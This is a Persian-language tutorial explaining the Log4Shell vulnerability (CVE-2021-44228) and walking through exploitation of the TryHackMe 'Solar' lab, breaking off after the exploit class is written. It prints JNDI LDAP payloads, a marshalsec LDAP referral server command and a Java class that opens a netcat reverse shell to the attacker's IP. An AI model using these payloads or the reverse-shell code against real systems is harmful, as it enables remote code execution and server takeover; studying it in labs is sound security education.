این تست توی سایت TryHackMe داره انجام میشه

سلام و درود خدمت تمام کاربران عزیز وب سایت اولترا آموز

تو این مقاله قراره آسیب‌پذیری جدیدی که اخیراً تو کتابخونه ی Log4J آپاچی رخ داده که صحبت کنیم که log4j یک سیستم گزارش گیری بسیار رایج که توسط توسعه دهندگان وب و سرور های مبتنی بر جاوا و سایر زبان‌های برنامه نویسی استفاده می شود. این آسیب‌پذیری کشف شده در log4j باعث میشه که هکر بتونه به یک آسیب‌پذیری بحرانی برسه و بتونه از اون آسیب‌پذیری توی سرور آسیب‌پذیر کد هایی رو از راه دور اجرا کنه ینی هکر میتونه با استفاده از این آسیب‌پذیری که توی کتابخونه Log4J که با جاوا نوشته شده رخ داده و توی وب سرور آپاچی هم ازش استفاده می‌کنند ،‌ بتونه روی سرور RCE یا Remote Code Execution اجرا کنه.

در این مقاله قراره با هم بررسی کنیم که چه‌جوری این آسیب‌پذیری رخ میده و چه‌جوری میشه این اکسپلویت و پج کرد.

 

آسیب‌پذیری (log4j (Log4Shell در ابتدا توسط Chen Zhaojun از Alibaba گزارش شد ، و این آسیب پذیری با شناسه CVE-2021-44228 در cve ثبت شد.

 

از Apache Log4j2 2.0-beta9 تا 2.12.1 و 2.13.0 تا 2.15.0 که از قابلیت JNDI ویژگی message lookup substitution توی پیکربندی و گزارش گیری پیام‌ها و پارامتر های این کتابخونه استفاده می‌شود (و بصورت پیش‌فرض هم این ویژگی در ورژن های آسیب‌پذیر این کتابخونه فعال است) در برابر فراخوانی LDAP توسط هکر محافظت نشده و آسیب‌پذیر می باشد.

که این آسیب‌پذیری این امکان را برای هر مهاجمی فراهم می‌کند که بتواند متنی را به پیام‌های گزارش تزریق کند یا پیام با پارامتر هایی که یک کد را از سرور remote بارگیری می‌کند، inject کند. سپس سرور مورد نظر آن کد را از طریق call کردن رابط نامگذاری جاوا و رابط دایرکتوری (JNDI) اجرا می کند.

از اونجایی که Log4J بصورت پیش فرض در URL های ارسال شده در این رشته ها sanitize را انجام نمیدهد، مهاجم می تواند با یک پیام حاوی رشته جایگزین با  URL مربوط به یک سرور مخرب درخواست های مخرب را برای برنامه هایی ایجاد کند که از Log4J استفاده میکنند.

ناگفته نماند که JNDI با بسیاری از سرویس های شبکه از جمله سریس های زیر در ارتباطه و تلاش‌هایی را برای اکسپلویت کردن این سرویس ها با استفاده از URL به سرویس هایی که به یک سرور خارجی هدایت می‌شوند، دیده شده است.

• LDAP
• DNS
• RMI (Java Remote Method Invocation)
• ,…

 

که از log4j 2.15.0 این قابلیت بصورت پیش‌فرض عیرفعال شده و از نسخه 2.16.0 این قابلیت بصورت کامل حدف شده و باگ رو دیگه توی این نسخه patch کردن.

و ناگفته نماند که این آسیب‌پذیری مختص به log4j-core می‌باشد و روی log4net و log4cxx یا سایر پروژه های Appache Logging Services تأثیری ندارد.

 

خلاصه دوستان بیش از سه میلیارد پلتفرم توی دنیا هستند که از این کتابخونه استفاده میکنند حتی شرکت ها و سایت‌های بزرگی مثل aaple tesla و… باعث شده که در معرض خطر باشند.

وقتی میگم سه میلیارد ینی خیییلییییی از سایتا توی جهان این آسیب‌پذیری رو دارناا 😐 و بشدتتت این آسیب‌پذیری خطرناکه و این آسیب پذیری در محاسبه‌ی شدت خطر و حساسیت طبق فرمول CVSS (سیستم امتیاز دهی آسیب پذیری) ، مقدار ۱۰ از ۱۰ (حداکثر مقدار ممکن) را کسب کرده است! 

 

قبل از اینکه بریم سراغ اصل مطلب اینو بگم که هکرا به log4j میگن log4shell و اگه جایی شنیدین ی موقع گیج نزنین که بگید حالا log4shell چیه و اینا.

این اسم رو بر اساس میزان خطرناک بودن آسیب‌پذیری روش گذاشتن و حالا اگه بخوایم این اسم رو هم ی تحلیلی روش بریم اینجوری بگم که log4shell ینی ما با استفاده از ورژن های آسیب‌پذیر کتابخونه ی log4j  میتونیم از اون سرور shell یا دسترسی بگیریم 🙂

 

 

 

Log4J چیست

خب اول از همه بیاین به این بپردازیم که کتابخونه ی log4j چی هستو کاربردش چیه .

کتابخونه ی log4j یک کتابخونه ی متن باز یا open source هستش که با جاوا نوشته شده و توی برنامه‌های جاوا و همچنین توی وب سرور apache از این کتابخونه استفاده می‌کنند .. ناگفته نماند که این کتابخانه در زبان های برنامه نویسی python c cpp ruby و… نیز وجود دارد .. این کتابخونه دوتا ورژن اصلی داره که یکیش log4j v1 هستش و یکی دیگه هم log4j v2 ، و این آسیب‌پذیری RCE که قراره در ادامه اونو بررسی کنیم توی ورژن 2 وجود دارد اما این آسیب‌پذیری توی ورژن یک این کتابخونه نیست .. که الان اینجوری برداشت نکنین که ورژن یک امن تره نسبت به ورژن دو نهه! از این خبرا نیست ، توی ورژن یک هم یکسری آسیب‌پذیری ها و باگ ها داخلش وجود داره که اینجا مورد بحث ما نیست و تمرکزمون روی log4j ورژن دو و آسیب‌پذیری RCE هستش.

کتابخونه ی log4j کاربردش آینه که مثلاً من میخوام یکسری log ـها یا گزارش‌هایی رو از هر کسی که میاد از این برنامه یا وب سایت من استفاده می‌کنند بگیرم که این لاگ ها هم برای موارد امنیتی بعداً اگه مشکلی به وجود اومد ازش استفاده می‌کنند یا مثلاً برای عیب یابی اون پلتفرم یا برنامه مورد نظر مورد استفده قرار میگیرد و دلایل دیگر .. که کلاً میتونه کلی دلیل داشته باشه که این لاگ هارو یک اپلیکیشن میگیره.

و این لاگ ها بصورت json , xml , yaml یا فرمت های خاص دیگری کانفیگ و ذخیره می‌شوند که معمولاً و اکثراً بصورت xml هستند.

 

دوستان در ادامه من ممکنه یکم زیاد از لفظ و کلمه ی class استفاده کنم و ممکنه خیلیاتون ندونید class چیه !! پس من اینجا قبل از اینکه بریم سراغ مباحث اصلی ، بزارید بگم منظورمون از این class یا کلاس چیه…

ببنید ما تو برنامه نویسی ی بحثی داریم بنام شئ گرایی یا Object Oriented Programing که بهش OOP هم میگن و منم نمیخوام زیاد در موردش صحبت کنم چون خود این OOP میشه گفت ی مبحث بزرگیه و غیره…

در کل اینو بدونید که توی این مقاله منظور ما از class در واقع همون class ـی است که توی زبان های برنامه نویسی برای برنامه نویسیه شئ گرایی ازش استفاده می کنیم و دارای شئ/object ـهای مختلفی می باشدو غیره!…

 

 

 

lookups ـها در Log4J

خب دوستان ببینید ما توی کتابخونه ی log4j ورژن دو یکسری امکاناتی داریم بنام lookups که این lookups ـها میان بصورت dynamic یا خودکار لاگ هارو ذخیره می‌کنند.

که ما انواع مختلفی lookups داریم که میتونیم در این کتاخونه ازش استفاده کنیم .. اما چیزی که توی این آسیب‌پذیری استفاده شده JNDI Lookup هستش .

 

حالا شاید براتون سؤال پیش بیاد که ما چه‌جوری می تونیم از این lookup ـها استفاده کنیم ؟! خب برای استفاده از این lookup ها از دستور زیر استفاده میشه : 

${lookupsValue}

 

خب حالا بریم سراغ اینکه ببنیم اصا JNDI چی هستش کلاً ؟!

JNDI یک نوع API است که به برنامه های جاوا اجازه پیدا کردن یک Object و تشخیص تغییرات روی آنها و امکان اتصال به object از راه دور را میدهد ..

به عبارتی دیگر jndi که مخفف Java Naming and Directory Interface می‌باشد که یک API هستش برای اپلیکیشن هایی که با زبان Java نوشته شده که اون api به ما یکسری functionality هایی رو بهمون میده که اگر بخوایم این functionality ـها یا عمل‌کرد هارو بررسی کنیم ، حالت naming و directory داره ینی مثلاً من روی یک دایرکتوری توابعی رو فراخونی می‌کنم، یا روی string و name این توابع رو میگم بیا اجرا کن.

 

معماری JNDI از یک API و یک رابط ارائه دهنده خدمات (SPI) تشکیل شده است. برنامه های جاوا از JNDI API برای دسترسی به انواع خدمات نامگذاری (Naming) و دایرکتوری (Directory) استفاده می کنند. SPI انواع خدمات نامگذاری و فهرست راهنمای را قادر می سازد تا به صورت شفاف وصل شوند، در نتیجه به برنامه جاوا با استفاده از JNDI API اجازه می دهد تا به خدمات آنها دسترسی داشته باشد. به شرح زیر : 

 

پس در کل این JNDI یکسری service provider interface (رابط ارائه دهنده خدمات) یا spi ـهایی رو بهمون ارائه میده به شرح زیر : 

 

• Lightweight Directory Access Protocol (LDAP)
• Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
• Java Remote Method Invocation (RMI) Registry
• Domain Name Service (DNS)
• ,…

 

ی سرویس / spi ما توی jndi داریم بنام LDAP یا Lightweight Directory Access Protocol که میاد دایرکتوری هارو برامون سرچ میکنه ینی عمل پیدا کردن آدرس دایرکتوری هایی که بهش میدیم رو برامون انجام میده ینی میاد دایرکتوری هارو برامون آدرسشو درج میکنه و منبعشو بهمون میگه.

 

کلا JNDI Lookups ـها با 

${jdni:

شروع می شوند.

 

مثلاً پیلود زیر 

رو در نظر بگیرید :

${jndi:ldap://attacker.com:1234/a}

توی این پیلود از jndi استفاده کردیم و بعد با (:) توش ی سرویسی رو call کردیم و بعدش آدرس رو بهش دادیمو و سپس ی کلاسی رو فراخوانی کردیم در آخر اون پیلود ما execute شده.

که در ادامه بیشتر اینو مورد بررسی قرار میدیم و این الان صرفاً ی آشنایی با ساختارش بود.

الان هکر ها با استفاده از این payload بالا میان و log4j ورژن آسیب پذیر رو exploit میکنن و ناگفته نماند که این تکنیکی که برای exploit کردن این آسیب پذیری در اینجا استفاده شده تکنیک جدیدی نیست در واقع این payload ـی که در بالا قرار دادم برای سال 2016 / 2015 توی کنفراس blackhat دو نفر اومدن ارائه دادن که در رابطه با JDNI Injection بود که اگر یک هکر بتونه یک JNDI Injection رو انجام بده در واقع اون هکر میتونه به RCE برسه .. که حالا همین هکری که اومده این آسیب پذیری رو توی کتابخونه ی log4j پیدا کرده دقیقا اومده و از این تکنیک استفاده کرده .. اما آسیب پذیریه توی کتابخونه ی log4j اون jndi injection نیست درواقع validate یا اعتبار سنجی نکردن اون مواردی که به lookup ـها پاس داده میشه نیست ینی باید اون داده هایی که توی {} قرار میگیره اعتبار سنجی بشن.

 

خب بالا گفتم که ی آسیب پذیری دیگه توی کتابخونه log4j توی سال 2016 اینا داشتیم بنام jndi injection که هکرا اومدن از این تکنیک برای اکسپلویت آسیب پذیری log4shell استفاده میکنند.

حالا شاید براتون سوال باشه که این jndi injection چیه و… .

پس بریم ببنیم چیه.

 

 

 

آسیب پذیری JNDI Injection چگونه بوجود آمد و JNDI Naming Reference چیست

خب ببنید یچیزی داریم تحت عنوان JNDI Naming Reference که کاربردش اینه که فرض کنید من ی اپلیکیشنی دارم و میخوام توی بعضی از قسمت های اپم یکسری class ـهایی رو توی بعضی جاها پاس بدم که بهترین روش برای اینکار هم JNDI هستش چون راحته دیگه میایم یک آدرس رو بهش میدیم و میره اون object یا class مورد نظر رو برامون serialize (فشرده) میکنه و میاره تا ازش استفاده کنیم.

توجه داشته باشید که اگر object یا class ـمون خیلی بزرگ باشه و بیایم اونو بصورت serialize شده توی آدرس قرار بدیم دیگه ممکنه نشه اونو پردازش کرد که بخاطر همین در اینجا naming reference ـها میاد و… که مورد بحث ما نیست .. ولی

 اگر بخوام jndi naming reference رو بصورت ساده تر بگم ما میتونیم object یا class ـمون رو serialize (فشرده) کنیم و آدرسش رو بصورت serialize شده توی آدرس بنویسیم .

فقط اینو بدونید که اگر بخوایم از طریق JNDI یک object یا class رو serialize و یا deserialize کنیم طولانی میشد و ممکن بود پردازش نشه که اینجا JNDI برای ما Naming Reference ـهارو آورده که این naming reference ـها دو نوع هستند :

1. که یکیش بهش میگن Reference Addresses که به این صورته که آدرس رو از داخل سرور بهش بدیم ینی مثلا توی سرور خودمون توی پوشه فلان اسم class رو بنویسیم و خود اون jndi میره اون فایل رو پیدا میکنه و class رو load میکنه ینی بصورت local. به شرح زیر مثلا :‌ 
   1. rmi://server/ref
2. ی نوع دیگه ی naming reference ـها هم اینه که remote factory بزنه ینی اینکه اون class یا object مورد نظر توی سرور ما نباشه (ینی بصورت local نباشه) و توی ی آدرس سرور دیگه باشه و بصورت remote بتونیم و بشه object یا class رو بهش بدیم و remote اونو load کنه ینی اینکه روی یک سرور دیگه از راه دور میتونیم یک file رو روی سرور اصلی load کنیم و از راه دور یک class یا object رو روش اجرا کنیم.

 

خب وقتی صحبت از remote میشه ینی ما میتونیم با استفاده از jndi یکسری class ـهایی رو load کنیم که این ممکنه فایل مخرب داشته باشه .. الان اینجا توی سرویس rmi از لحاظ امنیتی اون فایلی که از راه دور load میشه بررسی میشه ولی توی سرویس LDAP بصورت پیش فرض اون فایلی که از راه دور load میشه رو بررسی نمیکنه و همین باعث میشه که ما از طریق LDAP بتونیم JNDI Injection رو انجام بدیم و کلا دیگه اینجوری JNDI Injection بوجود میاد.

 

 

 

تحلیل آسیب پذیری Log4Shell / Log4J

خب ما با استفاده از payload زیر 

${jndi:ldap://attacker.com:1234/className}

میایم با JNDI بوسیله سرویس LDAP آدرس ldap سروری که هکر روی سیستم خودش run کرده رو ست می کنیم و در ادامه آدرس class ـی که داخل یک فایل جاوا هست و روی سرور local هکر ینی خودمون هست رو بهش میدیم که مخربه و قراره بصورت remote اون فایل رو روی سرور قربانی load کنیم و class / object مخرب اجرا شه.

 خب همونطور که میدونید و گفتم ما میتونیم توی کتابخونه ی Log4J بیایم و JNDI Lookup رو انجام بدیم به شرح زیر

که همونطور که میبنید یک فایل xml هستش و داخلش کد های مربوط به jndi قرار گرفته.

حالا در اینجا هم هکر اومده اون payload

${jndi:ldap://attacker.com:1234/a}

رو دقیقا داخل همونجایی که کد های jndi درج شده داخل اون قراره داده که یجورای ساختار کد نویسی این jndi مثل متغیر خودمون توی برنامه نویسه که حالا مثاله بود.

خب بعد از اینکه هکر اون payload مخرب خودش رو اینجوری توی log file اون log4j تزریق کرد این payload میاد اون فایل مخرب رو از روی ldap سرور هکر ابتدا روی سرور قربانی load میکنه و سپس اون class مخرب رو execute میکنه که این عملیات منجرب به دسترسی هکر از سرور آسیب پذیر میشه چون اون کتابخونه ی log4j سرویس ldap ـش توی jndi اصلا همونطور که قبلا خدمتتون گفتم اون مقادیری که بهش پاس داده میشه رو اعتبار سنجی نمیکنه.

حالا این آسیب پذیری رو اگر شما بعنوان یک هکر بخواید انجام بدید .. باید توی اون سایت / سرور اسیب پذیر دنبال اون header ـهایی باشید یا دنبال ورودی هایی بگردید که احتمال بدین اپلیکیشن اونو لاگ کنه و اونجا دیگه باید خودتون مقادیر و payload ـهای مختلف رو تست کنید.

 

برای درک نحوه کار کرد این آسیب پذیری به عکس زیر با دقت نگاه و توجه کنید :

 

 

 

نحوه اسکن و پیدا کردن آسیب‌پذیری Log4Shell با شناسه ی CVE-2021-44228

تمامی وب سرور های apache که از کتابخونه ی log4j ورژن آسیب پذیر استفاده می کنند این آسیب پذیری رو دارند و میشه بهشون نفوذ کرد ، خلاصه دوستان تارگت براش زیاد و و و و 🙂

برای تست این آسیب‌پذیری باید توی ریکوئست هدر دنبال ورودی هایی باشیم که اپلیکیشن اونارو لاگ کنه و اونجا دیگه باید دونه دونه تست کنیم.

این آسیب پذیری در میشه گفت بیشتر سرویس های apache که وب سایت های استفاده می کنند و اون سرویس ها از این کتابخونه ورژن آسیب پذیر استفاده می کنند موجوده از جمله سرویس های زیر : 

• Apache Druid
• Apache Flink
• Apache Solr
• Apache Spark
• Apache Struts2
• Apache Tomcat
• ,…

 

قبل از هر چیزی من ی توضیحی راجب endpoint بدم که چیه و اینا چون شاید این کلمه برای خیلی هاتون ناآشنا باشه.

به url ـهای nice شده (کوتاه شده) میگن endpoint که پشتشون یک تابعست و در قسمت بک اند سایت اون ورودی توسط وب اپلیکیشن پردازش میشه ینی توی قسمت backend سایت ، برنامه نویس route تعریف کرده و گفته اگر کسی این مسیر رو خواست بیا این url رو بهش نشون بده و محتویات آدرس اصلی رو براش بیار! و در اینجا دیگه ما نمیتونیم url اصلی رو ببنیم و باید حدس بزنیم که چیه .. و پشت این آدرس route شده توسط برنامه نویس هم یک تابع قرار داره که یکسری پردازش ها روی اون ورودی کاربر انجام میده ، مثل :

test.com/test/x/id/3

مثلا این یک endpoint ـه : 

test.com:1234/test/image/1234

و…

که گاها ممکنه این endpoint روی یک پورت خاص از وب سرور وجود داشته باشه و ما برای پیدا کردن اینا باید با استفاده از تکنیک های مختلف recon بگردیمو اسکن کنیمو غیره، چون ممکنه  به ی endpoint ـی برسیم که آسیب پذیر باشه 🙂

ساختار یک اندپوینت خلاصه اینجوریه و باید تست های مختلف رو روش انجام بدیم تا ببنیم آسیب پذیر هست یا خیر :‌

test.com:1234/test/image/1234

test.com/test/image/1234

1.2.3.4:1234/test/image/1234

کلا دوستان ما توی وب به مسیری که پشتش یک تابع باشه میگیم execution path یعنی اینکه در آدرس زیر

https://site.com/test/x.jpeg

الان x.jpeg ورودی یک تابعست.

مثلا آدرس زیر

site.com/test/id/2

این آدرس بالا در واقع یک آدرس کوتاه شده یا nice شده هستش که یک پارامتر id داریم که تابعست و این تابع id هم ورودیش 2 هست .. خب الان ما به این آدرس میگیم endpoint یا execution path چون آدرس اصلی یچیز دیگست و این آدرس بالا ی تابع پشت اون پارامتر ها داره و داره پردازش انجام میده و 2 هم ورودی id هست ..  الان آدرس اصلی میشه این :

site.com/test.php?id=2

کلا به آدرس های nice شده میگن endpoint یا execution path که پارامتر هم میگیرن و توسط web application اجرا / هندل میشن.

یک مسیر directory یا static resource مسیری هست که مسیر اصلیه و nice نشده و توسط web server اجرا / هندل میشه. کلا به مسیر و آدرس های دیروکتوری، static resource هم میگن.

فرق endpoint با directory هم اینه که endpoint پشتش یک فانکشنه ولی directory پشتش هیچ تابعی نیست و صرفا یک فایله.

ناگفته نماند که ما نمیتونیم از رو ظاهر تشخیص بدیم که یک url آیا directory هست یا endpoint و برای تشخیصش باید تست کنیم.

 

خب برای پیدا کردن endpoint آسیب پذیر روی تارگت مورد نظر ابتدا با nmap سرویس ها و پورت های باز قربانی رو مورد اسکن قرار میدیم و برای اینکار هم از دستور زیر استفاده کنید : 

nmap -sV target.com -v

توجه داشته باشید که برای سهولت و دقت بیشتر بیاید و تمامی پورت های اون سیستم یا تارگت مورد نظر رو اسکن کنید که برای اینکار میتونید از دستور زیر استفاده کنید .. که این الان میاد کل پورت ها رو مورد اسکن قرار میده و سرویس های ران شده روی اونارو با جزئیات بهمون نمایش میده :

nmap -sV -p- target.com -v

nmap -sV -p- -Pn 1.2.3.4 -v

,…

 

حالا تا اینجاشو داشته باشید در ادامه قراره بیشتر به این بحث بپردازیم اونجا دیگه متوجه میشید داستان چیه.

 

 

 

نحوه ی exploit کردن آسیب پذیری CVE-2021-44228 و حل یک چالش

خب گایز رسیدیم به بحث جذاب exploit کردن آسیب‌پذیری Log4Shell یا همون log4j.

توی بخش قبل روش اسکن و پیدا کردن آسیب پذیری log4shell رو خدمتتون گفتم حالا وقتشه بریم سراف exploit کردن این آسیب پذیری.

پیش نیاز هایی که برای exploit کردن این آسیب پذیره نیازه :

• اول از همه باید اون سرور از کتابخونه ی log4j ورژن آسیب پذیرش استفاده کرده باشه.
• باید endpoint آسیب پذیر با هر پروتکلی (http,tcp,…) رو روی اون وب سرور مورد نظر پیدا کنید تا این اجازه رو به ما بده ، تا بتونیم رشته های مخرب رو به سمت سرور ارسال کنیم.
• و در آخر باید ورودیی رو پیدا کنیم که سرور با استفاده از کتابخونه ی log4j  اونارو ثبت / log میکنه که معمولا هدر user-agent رو لاگ میکنن پس این هدر و ورودی میتونه گزینه ی خوبی برای تزریق اون رشته مخرب به سرور باشه.

 

بعد از اینکه این آسیب پذیری معروف شد ، محققان امنیتی اومدن و ی ابزاری رو برای exploit کردن این آسیب پذیری نوشتن بنام MarshalSec که در ادامه قراره برای exploit کردن آسیب پذیری از این ابزار استفاده کنیم.

 

گااااایییز رسیدیم به بخش آخر ینی توی این بخش قراره بریم سراغ حل ی چالش پررو و نحوه exploit کردن این آسیب پذیری خفن بصورت عملی.

چالشی که قراره باهم حل کنیم ی چالش tryhackme هستش که در رابطه با همین exploit کردن آسیب پذیری log4j ـه .. پس با من همراه باشید.

 

اول از همه برای حل این چالش .. ابتدا در سایت tryhackme ثبت نام کنید و سپس وارد آدرس زیر شوید

https://tryhackme.com/room/solar

وقتی وارد این آدرس شدین درواقع وارد solar room میشید که solar هم یکی از سرویس های apache هست که از کتابخونه log4j استفاده میکنه و در اینجا از ورژن آسیب پذیر استفاده میکنه و قراره اونو exploit ـش کنیم .

خب حالا روی پروفایلتون کلیک کنید و از منوی باز شده گزینه Access رو انتخاب کنید

خب وقتی اومدین اینجا با صفحه زیر مواجعه میشید که باید یک کانفیگ open vpn مخصوص tryhackme هست رو دانلود کنید تا بتونیم ی تونل بزنیم به اون شبکه و کارمونو انجام بدیم .. ینی بعد از دانلود این کانفیگ باید بهش وصل بشیم و دیگه یجورایی که انگار ما توی اون شبکه هستیم و… که در ادامه بهتون میگم .

خب حالا یکی از سرور هارو انتخاب کنید و روی download کلیک کنید تا اون کافنیگ ovpn براتون دانلود شه

خب کانفیگه دانلود که شد وقتشه برید توی اون سیستمی که باهاش تست نفوذ انجام میدین و دستور زیر رو داخل ترمینال بزنید (مثلا سیستم عامل کالی که من در این آموزش از پاروت استفاده می کنم) : 

sudo openvpn x.ovpn

خب زمانی که پیغام زیر رو مشاهده کردید ینی تمومه همچی اوکیه و شما با موفقیت به شبکه ی مجازی tryhackme تونل زدین و وصل شدین

خب حالا این ترمینال رو مینیمایز کنید و سپس ی ترمینال جدید باز کنیدو دستور زیر رو برای دانلود ابزار marshalsec از گیتهاب در ترمینال بزنید 

git clone https://github.com/mbechler/marshalsec.git

خب حالا که ابزارمون دانلود شد ، وارد پوشه ی ابزار بشید

cd marshalsec

خب

ابتدا باید با استفاده از دستور زیر maven رو نصب کنید (این دستوری که برای نصب maven در ادامه میگم روی توزیع هایی مثل parrot و kali و… که از پکیج منیجر apt استفاده می کنند امکان پذیره و برای دیگر توزیع ها باید با توجه پکیج منیجیری که دارن maven رو نصب کنید)

apt install maven -y

خب وقتی وارد دایرکتوری ابزار marshalsec شدیم باید ابزار marshalsec رو با استفاده بیلدر maven که یک builder برای java هست build کنیم ینی باید دستور زیر رو بزنیم تا ابزار های مورد نیاز برای exploit کردن با ابزار marshalsec با استفاده از maven نصب و آماده بشه و یکسری ابزار های مورد نیاز رو برا اجرا شدن exploit marshalsec برامون دانلود و نصب میکنه (requirement های اکسپلویت با این دستور میشه گفت نصب میشه)

mvn clean package -DskipTests

خب الان باید برگردیم به آدرس زیر در tryhackme 

https://tryhackme.com/room/solar

و روی گزینه start machine کلیک کنیم تا اون ماشین مجازی آسیب پذیر بالا بیاد و ip ـش رو بهمون بدهو بریم تو کارش

خب حالا یکم منتظر میمونیم تا بیاد

خب همونطور که میبنید ip ماشین مجازی آسیب پذیر رو بهمون داد و الان کافیه اینو کپیش کنیم و بریم روش تست بزنیم

خب الان وقتشه terminal رو باز کنیم و با ابزار nmap این ip رو اسکن کنیم و ببنیم چه پورت ها و سرویس هایی روش فعاله و endpoint آسیب پذیر خودمون رو بدین سان باید پیدا کنیم .. من برای اینکار از دستور زیر استفاده می کنم که ما با استفاده از ابزار nmap و سوئیچ sV میایم و سرویس های موجود روی تارگت رو اسکن می کنیم و اگر سرویسی روش بود اونو بهمون میگه :

nmap -sV 10.10.120.181 -v

خب دوستان اسکن ما تموم شد و همونطور که میبنید لیست بعضی از سرویس ها و پورت های باز رو برامون اورده ولی این کل سرویس و پورت هایی که روی این تارگت فعاله نیست!! و اون چیزی که ما میخواستیم هم توی این خروجی که nmap بهمون داده نیست

خب برای اینکه اسکنمون رو یکم عمیق تر کنیم میایم با استفاده از دستور زیر به nmap میگیم که بیا و کل پورت های این تارگت رو برام اسکن کن

nmap -sV -p- 10.10.120.181 -v

خب حالا چون این خیلی طول میکشه من بهش گفتم بیا از رنج پورت 8000 تا 9000 که میدونم یکی از سرویس های آسیب پذیر توی این رنج run هست رو اسکن کنه ،‌ ولی شما توی محیط واقعی باید بزنید کل پورتارو اسکن کنه…

nmap -sV -p8000-9000 10.10.120.181 -v

خب دوستان همونطور که در تصویر زیر میبینید اون چیزی که میخواستیم رو برامون اورد .. ی سرویسی بنام apache solar روی پورت 8983 این تارگت در حال اجراست که سرویس apache solar هم جز اون دسته سرویس هایی است که از کتابخونه ی log4j استفاده میکنه

خب حالا endpoint آسیب پذیر رو پیدا کردیم و میشه این : 

10.10.120.181:8983

الان باید این آدرس بالا رو داخل مرورگر باز کنیم :

خب همونطور که دیدید وقتی اون endpoint رو داخل مرورگر زدم منو redirect کرد به صفحه ی بالا حالا از اونجایی که ما میدونیم سرویس apache solar که در بالا برامون باز شده و واردش شدیم از کتابخونه ی log4j استفاده میکنه و از اونجای هم که تمامی درخواست هایی که بصورت GET به سمت وب سرور زده میشه log میشه ، ما باید inspector مرورگر رو باز کنیم : 

 

حالا وارد تب network بشید 

خب حالا روی یکی از این لینک های سایت کلیک کنید تا درخواست های که زده میشه به وب سرور ، در تب نتورک بهمون نمایش بده و ببنیم که چخبره و چه ورودی هایی به سمت وب سرور ارسال میشه.

همونطور که میبنید من روی یکی از این لینک ها کلیک کردم و ی درخواست مشکوک به چشمم خورد

خلاصه بعد از اینکه من رو یکی از این لینکا کلیک کردم این اومد اینهمه درخواست رو به سمت وب سرور فرستاد .. خب الان من میام یکی از این درخواست ها که دارای پارامتر هست رو کپی میکنم 

http://10.10.120.181:8983/solr/admin/info/logging?_=1640026666200&since=0&wt=json

کپی که کردم اون لینکو توی تب جدید باز میکنم ببینم چیه داخلش

خب دوستان همونطور که میبنید یک فایل json برامون باز شد که نشون میده یکسری چیزارو لاگ میکنه و ساختار log4j رو داره .. اگه یادتونه باشه گفته بودیم که log4j لاگ هارو بصورت xml یا json ذخیره میکنه و… که اینجاهم دقیقا همونه و این لینک یکسری ورودی ها میگیره و یکسری چیزارو لاگ میکنه 

الان ما endpoint آسیب پذیر رو پیدا کردیم!

اینه 

http://10.10.120.181:8983/solr/admin/info/logging?_=1640026666200&since=0&wt=json

 

الان باید برگردیم به ترمینال و وارد پوشه marshalsec بشیم.

خب بعد از اینکه این ابزار های مورد نیاز دانلود و نصب شدند ،‌ باید با استفاده از ابزار های ساخته شده توسط marshalsec بیایم و ldap server خودمون رو اجرا کنیم.

قبل از هر چیزی ابتدا بیاید ip سیستم خودمون که قراره ldap server رو روش ران کنیم بدست بیاریم که برای اینکار خودتون بهتر میدونید دیگه ifconfig میزنید و تمام.

الان توجه داشته باشید که چون ما داریم چالش tryhackme رو حل می کنیم و وصل شدیم به vpn ـش باید ip اون vpn server رو بدیم بهش که برای بدست آوردن ip هم ifconfig رو بزنید و اونجا که نوشته tun0 دقیقا آدرس سروری هست که بهش وصل شدین یا بهش tunel زدین

پس نیازه که برای اکسپلویت کردن این آسیب‌پذیر ابتدا باید LDAP Server خودمون رو با دستور زیر اجرا/run کنیم چون میخوایم یک فایل java class رو بصورت remote توی وب سرور تارگت لود کنیم و نیازه که برای ارتباط با مقصد که قربانیه ی ldap server روی سرور خودمون run کنیم.

خب الان ldap server بصورت local روی سیستم هکر که خودمونیم با این دستور اجرا کردیم و روی این ip و port این ldap server داره listen میکنه.

توجه داشته باشید که شما دیگه باید ip خودتون رو بدین که با دستور ifconfig میتونید ip خودتون رو بدست بیارید.

ناگفته هم نماند که در ادامه من پورت 8000 رو برای listen کردن ست کردم شما میتونید هر پورت دیگه ای رو ست کنید فقط توجه داشته باشید که این پورتی که در اینجا ست می کنید باید با پورتی که روش http server بالا میارید یکی باشه چون اینجا داریم آدرس http server ـمون رو بهش میدیم که در ادامه run ـش می کنم .. و بعد از ip و port هم باید اسم اون کلاس مخربی که قراره روی سیستم تارگت اجرا شه بنویسیم که من اینجا اسمش رو گذاشتم Exploit و توجه داشته باشید که اسم class هم در اینجا حتما باید قبلش علامت شارپ (#) بزارین ینی اینجوری ClassName# .

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://10.17.37.76:8000/#Exploit”

و همونطور که مشاهده خواهید کرد در اخر میزنه listening on 0.0.0.0:1389 که این ینی ldap server ما روی پورت 1389 در حال گوش دادنه ..  حالا شاید براتون سوال بشه که اون پورت 8000 که بهش دادیم چی بود پس ؟! ببنید اون پورته مربوط میشه به http server ـی که در ادامه ران میکنیم هست و زمانی که تارگت به ldap سرور ما به پورت 1389 وصل میشه اکسپلویت marshalsec میاد و از طریق اون http server ـی که ران کردیم فایل java حاوی کلاس مخرب رو لود میکنه و class مخرب رو روی سیستم قربانی اجرا میکنه و تمام.

الان ی تب جدید داخل ترمینال باز می کنم و میریم سراغ مرحله بعد 

خب الان نیازه که یک فایل مخرب java درست کنیم و توش اون class مخرب java ـی خودمون رو بسازیم که برای اینکار کافیه کد زیر رو 

public class Exploit {

    static {

        try {

            java.lang.Runtime.getRuntime().exec(“nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999”);

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

}

داخل یک فایل java بنام Exploit ذخیره کنیم که من اینکارو در ادامه با استفاده از ادیتور nano براتون انجام میدم ببنید

nano Exploit.java

توجه داشته باشید که داخل کد اونجا که نوشته YOUR.ATTACKER.IP.ADDRESS

باید آدرس ip سرور یا سیستم خودتون که قراره سیستم قربانی بهش وصل بدشه رو بهش بدین!

 به شرح زیر میشه دیگه کده

public class Exploit {

    static {

        try {

            java.lang.Runtime.getRuntime().exec(“nc -e /bin/bash 10.10.126.5 9999”);

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

}

حالا فایل رو با ctrl +x y سیو کنید و ببنید.

